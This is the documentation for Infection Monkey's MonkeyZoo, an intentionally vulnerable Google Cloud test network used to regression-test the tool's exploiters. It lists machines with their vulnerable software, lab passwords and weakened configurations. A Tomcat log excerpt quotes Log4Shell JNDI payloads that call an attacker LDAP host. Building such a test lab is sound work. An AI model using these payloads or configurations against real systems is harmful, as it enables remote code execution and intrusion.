27 KiB

Raw Blame History

This document describes Infection Monkey’s test network, how to deploy and use it.

Warning!
Introduction
Getting started
Using islands
Running tests
Machines’ legend
Machines
Nr. 2 Hadoop
Nr. 3 Hadoop
Nr. 9 Tunneling M1
Nr. 10 Tunneling M2
Nr. 11 SSH key steal
Nr. 12 SSH key steal
Nr. 13 RDP grinder
Nr. 14 Mimikatz
Nr. 15 Mimikatz
Nr. 16 MsSQL
Nr. 17 Upgrader
Nr. 21 Scan
Nr. 22 Scan
Nr. 25 Zerologon
Nr. 3-45 Powershell
Nr. 3-46 Powershell
Nr. 3-47 Powershell
Nr. 3-48 Powershell
Nr. 3-49 Log4j Solr
Nr. 3-50 Log4j Solr
Nr. 3-51 Log4j Tomcat
Nr. 3-52 Log4j Tomcat
Nr. 3-55 Log4j Logstash
Nr. 3-56 Log4j Logstash
Nr. 250 MonkeyIsland
Nr. 251 MonkeyIsland
Network topography

Warning!

This project builds an intentionally vulnerable network. Make sure not to add production servers to the same network and leave it closed to the public.

Introduction:

MonkeyZoo is a Google Cloud Platform network deployed with terraform. Terraform scripts allows you to quickly setup a network that’s full of vulnerable machines to regression test monkey’s exploiters, evaluate scanning times in a real-world scenario and many more.

Getting started:

Requirements:

Have terraform installed.
Have a Google Cloud Platform account (upgraded if you want to test whole network at once).

To deploy:

Configure service account for your project:

a. Create a service account (GCP website -> IAM & Admin -> Service Accounts -> + CREATE SERVICE ACCOUNT) and name it “your_name-monkeyZoo-user”

b. Give these permissions to your service account:

Compute Engine -> Compute Network Admin and Compute Engine -> Compute Instance Admin (v1) and Compute Engine -> Compute Security Admin and Service Account User

or

Project -> Owner

c. Create and download its Service account key in JSON and place it in monkey_zoo/gcp_keys as gcp_key.json.
Get these permissions in the monkeyZoo project (guardicore-22050661) for your service account (ask monkey developers to add them):

a. Compute Engine -> Compute image user

Change configurations located in the ../monkey/envs/monkey_zoo/terraform/config.tf file (don’t forget to link to your service account key file):

 provider "google" {

 project = "test-000000" // Change to your project id

   region  = "europe-west3" // Change to your desired region or leave default

   zone    = "europe-west3-b" // Change to your desired zone or leave default

   credentials = "${file("../gcp_keys/gcp_key.json")}" // Change to the location and name of the service key.
                                                       // If you followed instruction above leave it as is

 }

 locals {

   resource_prefix = "" // All of the resources will have this prefix.
                        // Only change if you want to have multiple zoo's in the same project

   service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" // Service account email

   monkeyzoo_project="guardicore-22050661" // Project where monkeyzoo images are kept. Leave as is.

 }

Run terraform init

To deploy the network run:
terraform plan (review the changes it will make on GCP)
terraform apply (creates 2 networks for machines)
terraform apply (adds machines to these networks)

Using islands:

How to get into the islands:

island-linux-250: SSH from GCP

island-windows-251: In GCP/VM instances page click on island-windows-251. Set password for your account and then RDP into the island.

These are most common steps on monkey islands:

For users

Upload the AppImage deployment option and run it in island-linux-250. Or upload the MSI deployment option, install it and run it in island-windows-251. After that use the Monkey as you would on local network.

For developers

island-linux-250:

To run monkey island from source:
sudo /usr/run\_island.sh

To run monkey from source:
sudo /usr/run\_monkey.sh

To update repository:
git pull /usr/infection_monkey

Update all requirements using deployment script:
1. cd /usr/infection_monkey/deployment_scripts
2. ./deploy_linux.sh "/usr/infection_monkey" "develop"

island-windows-251:

To run monkey island from source:
Execute C:\run_monkey_island.bat as administrator

To run monkey from source:
Execute C:\run_monkey.bat as administrator

To update repository:
1. Open cmd as an administrator
2. cd C:\infection_monkey
3. git pull (updates develop branch)

Update all requirements using deployment script:
1. cd C:\infection_monkey\deployment_scripts
2. ./run_script.bat "C:\infection_monkey" "develop"

Machines:

Nr. 2 Hadoop (10.2.2.2)	(Vulnerable)
OS:	Ubuntu 16.04.05 x64
Software:	JDK, Hadoop 2.9.1
Default server’s port:	8020
Server’s config:	Single node cluster
Scan results:	Machine exploited using Hadoop exploiter
Notes:

Nr. 3 Hadoop (10.2.2.3)	(Vulnerable)
OS:	Windows 10 x64
Software:	JDK, Hadoop 2.9.1
Default server’s port:	8020
Server’s config:	Single node cluster
Scan results:	Machine exploited using Hadoop exploiter
Notes:

Nr. 9 Tunneling M1 (10.2.2.9, 10.2.1.9)	(Vulnerable)
OS:	Ubuntu 16.04.05 x64
Software:	OpenSSL
Default service’s port:	22
Root password:	`))jU7L(w}
Server’s config:	Default
Notes:

Nr. 10 Tunneling M2 (10.2.1.10)	(Exploitable)
OS:	Ubuntu 16.04.05 x64
Software:	OpenSSL
Default service’s port:	22
Root password:	3Q=(Ge(+&w]*
Server’s config:	Default
Notes:	Accessible only through Nr.9

Nr. 11 Tunneling M3 (10.2.0.11)	(Exploitable)
OS:	Ubuntu 16.04.05 x64
Software:	OpenSSL
Default service’s port:	22
Root password:	3Q=(Ge(+&w]*
Server’s config:	Contains firewall rules to block everything from 10.2.1.10 except ssh. This prevents tunneling communication, but allows ssh exploitation. Contains firewall rules to allow everything from 10.2.1.9 except ssh. This prevents ssh exploitation, but allows tunneling.
Notes:	Accessible only through Nr.10

Nr. 12 Tunneling M4 (10.2.0.12)	(Exploitable)
OS:	Windows server 2019 x64
Default service’s port:	445
Root password:	t67TC5ZDmz
Server’s config:	Default
Notes:	Accessible only through Nr.10

Nr. 13 Tunneling M5 (10.2.0.13)	(Exploitable)
OS:	Ubuntu 18 x64
Default service’s port:	22
Root password:	prM2qsroTI
Server’s config:	Configured to disable traffic from/to 10.2.0.10 and 10.2.0.11(via ufw and iptables)
Notes:	Accessible only through Nr.12

Nr. 11 SSH key steal. (10.2.2.11)	(Vulnerable)
OS:	Ubuntu 16.04.05 x64
Software:	OpenSSL
Default connection port:	22
Root password:	^NgDvY59~8
Server’s config:	SSH keys to connect to NR. 11
Notes:

Nr. 12 SSH key steal. (10.2.2.12)	(Exploitable)
OS:	Ubuntu 16.04.05 x64
Software:	OpenSSL
Default connection port:	22
Root password:	u?Sj5@6(-C
Server’s config:	SSH configured to allow connection from NR.10
Notes:	Don’t add this machine’s credentials to exploit configuration.

Nr. 13 RDP grinder (10.2.2.13)	(Not implemented)
OS:	Windows 10 x64
Software:	-
Default connection port:	3389
Root password:	2}p}aR]&=M
Server’s config:	Remote desktop enabled Admin user’s credentials: m0nk3y, 2}p}aR]&=M
Notes:

Nr. 14 Mimikatz (10.2.2.14)	(Vulnerable)
OS:	Windows 10 x64
Software:	-
Admin password:	Ivrrw5zEzs
Server’s config:	Has cached mimikatz-15 RDP credentials SMB turned on
Notes:

Nr. 15 Mimikatz (10.2.2.15)	(Exploitable)
OS:	Windows 10 x64
Software:	-
Admin password:	pAJfG56JX><
Server’s config:	It’s credentials are cashed at mimikatz-14 SMB turned on
Notes:	If you change this machine’s IP it won’t get exploited.

Nr. 16 MsSQL (10.2.2.16)	(Vulnerable)
OS:	Windows 10 x64
Software:	MSSQL Server
Default service port:	1433
Server’s config:	xp_cmdshell feature enabled in MSSQL server
SQL server auth. creds:	m0nk3y : Xk8VDTsC
Notes:	Enabled SQL server browser service Enabled remote connections Changed default password

Nr. 17 Upgrader (10.2.2.17)	(Not implemented)
OS:	Windows 10 x64
Default service port:	445
Root password:	U??7ppG_
Server’s config:	Turn on SMB
Notes:

Nr. 21 Scan (10.2.2.21)	(Secure)
OS:	Ubuntu 16.04.05 x64
Software:	Apache tomcat 7.0.92
Default server’s port:	8080
Server’s config:	Default
Notes:	Used to scan a machine that has no vulnerabilities (to evaluate scanning speed for e.g.)

Nr. 22 Scan (10.2.2.22)	(Secure)
OS:	Windows 10 x64
Software:	Apache tomcat 7.0.92
Default server’s port:	8080
Server’s config:	Default
Notes:	Used to scan a machine that has no vulnerabilities (to evaluate scanning speed for e.g.)

Nr. 25 ZeroLogon (10.2.2.25)	(Vulnerable)
OS:	Server 2016
Default server’s port:	135

Nr. 25 ZeroLogon

(10.2.2.25)

(Vulnerable)

OS:

Server 2016

Default server’s port:

135

Nr. 3-45 Powershell (10.2.3.45)	(Vulnerable)
OS:	Windows Server 2016 x64
Software:	WinRM service
Default server’s port:	-
Notes:	User: m0nk3y, Password: Passw0rd! User: m0nk3y-user, No Password. Accessibale through Island using m0nk3y-user.

Nr. 3-46 Powershell (10.2.3.46)	(Vulnerable)
OS:	Windows Server 2016 x64
Software:	WinRM service
Default server’s port:	-
Notes:	User: m0nk3y, Password: nPj8rbc3 Accessible using the same m0nk3y user from island, in other words powershell exploiter can exploit this machine without credentials as long as the user running the agent is the same on both machines

Nr. 3-47 Powershell (10.2.3.47)	(Vulnerable)
OS:	Windows Server 2016 x64
Software:	WinRM service
Default server’s port:	-
Notes:	User: m0nk3y, Password: Xk8VDTsC Accessiable through the Island using NTLM hash

Nr. 3-48 Powershell (10.2.3.48)	(Vulnerable)
OS:	Windows Server 2019 x64
Software:	WinRM service
Default server’s port:	-
Notes:	User: m0nk3y, Password: Passw0rd! Accessiable only through 3-45 Powershell using credentials reuse

Nr. 3-49 Log4j Solr (10.2.3.49)	(Vulnerable)
OS:	Ubuntu 18.04LTS
Software:	Apache Solr 8.11.0
Default server’s port:	8983
Notes:	User: m0nk3y, Password: m0nk3y

Nr. 3-50 Log4j Solr (10.2.3.50)	(Vulnerable)
OS:	Windows Server 2016 x64
Software:	Apache solr 8.11.0
Default server’s port:	8983
Notes:	User: m0nk3y, Password: Passw0rd!

Nr. 3-51 Log4j Tomcat (10.2.3.51)	(Vulnerable)
OS:	Ubuntu 18.04LTS
Software:	Apache Tomcat 8.0.36
Default server’s port:	8080
Notes:	The jvm's `java.security.egd` variable should be set to `/dev/urandom`, otherwise the tomcat service can take a very long time to start. Set this by editing `/usr/tomcat/bin/catalina.sh` and modifying the `JAVA_OPTS` vairable. See https://jfrog.com/knowledge-base/tomcat-takes-forever-to-start-what-can-i-do/ for more details. Tomcat sessions that carry over through a reset can cause significant delays when the tomcat server starts. When the server starts, it attempts to download the log4shell payload, but the server is no longer listening. This operation appears to have a 2 minute timeout. You can see it by viewing `/usr/tomcat/logs/localhost.log`: 2022-04-28 16:15:45,541 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- Sending application start events 2022-04-28 16:15:45,542 [localhost-startStop-1] INFO org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- ContextListener: contextInitialized() 2022-04-28 16:15:45,542 [localhost-startStop-1] INFO org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- SessionListener: contextInitialized() 2022-04-28 16:15:45,665 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- readObject() loading session E5B004FF35E1CBB44FA8A69AB024941D 2022-04-28 16:15:45,665 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- loading attribute 'foo' with value '${jndi:ldap://10.2.2.121:29573/dn=Exploit}' 2022-04-28 16:17:56,412 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- readObject() loading session 0677AD75F804B1FD4E24AF7F3BFA9DD9 2022-04-28 16:17:56,412 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- loading attribute 'foo' with value '${jndi:ldap://10.2.2.121:39466/dn=Exploit}' 2022-04-28 16:20:07,472 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- Starting filters 2022-04-28 16:20:07,472 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- Starting filter 'Set Character Encoding' 2022-04-28 16:20:07,477 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- Starting filter 'Compression Filter' Notice the 2-minute gap between the timestamps after "loading attribute 'foo'". To resolve this, modify /usr/tomcat/conf/context.xml and uncomment the following setting: `<Manager pathname="" />`

Nr. 3-52 Log4j Tomcat (10.2.3.52)	(Vulnerable)
OS:	Windows Server 2016 x64
Software:	Apache Tomcat 8.0.36
Default server’s port:	8080
Notes:	User: m0nk3y, Password: Tomcat@22

Nr. 3-55 Log4j Logstash (10.2.3.55)	(Vulnerable)
OS:	Ubuntu 18.04LTS
Software:	Logstash 5.5.0	Java 1.8.0
Default server’s port:	9600
Notes:	User: logstash

Nr. 3-56 Log4j Logstash (10.2.3.56)	(Vulnerable)
OS:	Windows Server 2016 x64
Software:	Logstash 5.5.0	Java 1.8.0
Default server’s port:	9600
Notes:	User: m0nk3y, Password: 7;@K"kPTM

Nr. 250 MonkeyIsland (10.2.2.250)
OS:	Ubuntu 16.04.05 x64
Software:	MonkeyIsland server, git, mongodb etc.
Default server’s port:	22, 443
Private key passphrase:	-
Notes:	Only accessible through GCP

Nr. 251 MonkeyIsland (10.2.2.251)
OS:	Windows Server 2016 x64
Software:	MonkeyIsland server, git, mongodb etc.
Default server’s port:	3389, 443
Private key passphrase:	-
Notes:	Only accessible through GCP

27 KiB Raw Blame History Unescape Escape